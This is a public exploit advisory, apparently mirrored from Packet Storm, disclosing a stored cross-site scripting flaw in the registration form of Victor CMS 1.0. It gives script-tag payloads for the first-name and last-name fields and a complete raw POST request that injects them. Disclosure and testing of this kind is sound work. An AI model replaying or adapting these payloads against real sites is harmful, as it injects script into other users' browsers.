Exploit for Victor CMS 1.0 Cross Site Scripting

## https://sploitus.com/exploit?id=PACKETSTORM:158244
# Exploit Title: Victor CMS 1.0 - 'user_firstname' Persistent Cross-Site Scripting  
# Google Dork: N/A  
# Date: 2020-06-28  
# Exploit Author: Anushree Priyadarshini  
# Vendor Homepage: https://github.com/VictorAlagwu/CMSsite  
# Software Link:https://github.com/VictorAlagwu/CMSsite/archive/master.zip  
# Version: 1.0  
# Tested on: Windows 10  
  
Description: The form parameter 'user_firstname' and 'user_lastname' is vulnerable to stored cross site scripting  
  
Payload for 'user_firstname' : <script>alert(1)</script>   
  
Payload for 'user_lastname' : <script>alert(2)</script>  
  
  
  
POST /CMSsite-master/register.php HTTP/1.1  
Host: localhost  
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_11_4) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/75.0.3770.93 Safari/537.36  
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8  
Accept-Language: en-US,en;q=0.9,en-GB;q=0.8,en-CA;q=0.7,zh-CN;q=0.6,zh-HK;q=0.5,zh-SG;q=0.4,zh-TW;q=0.3,ja;q=0.2,ko;q=0.1  
Accept-Encoding: gzip, deflate  
Referer: http://localhost/CMSsite-master/register.php  
Content-Type: application/x-www-form-urlencoded  
Content-Length: 190  
Connection: close  
Cookie: PHPSESSID=491d4jir62vldd0u84knd1m1fi  
Upgrade-Insecure-Requests: 1  
  
user_name=DemoUser&user_firstname=%3Cscript%3Ealert%281%29%3B%3C%2Fscript%3E&user_lastname=%3Cscript%3Ealert%282%29%3B%3C%2Fscript%3E&user_email=Hack%40gmail.com&user_password=1234&register=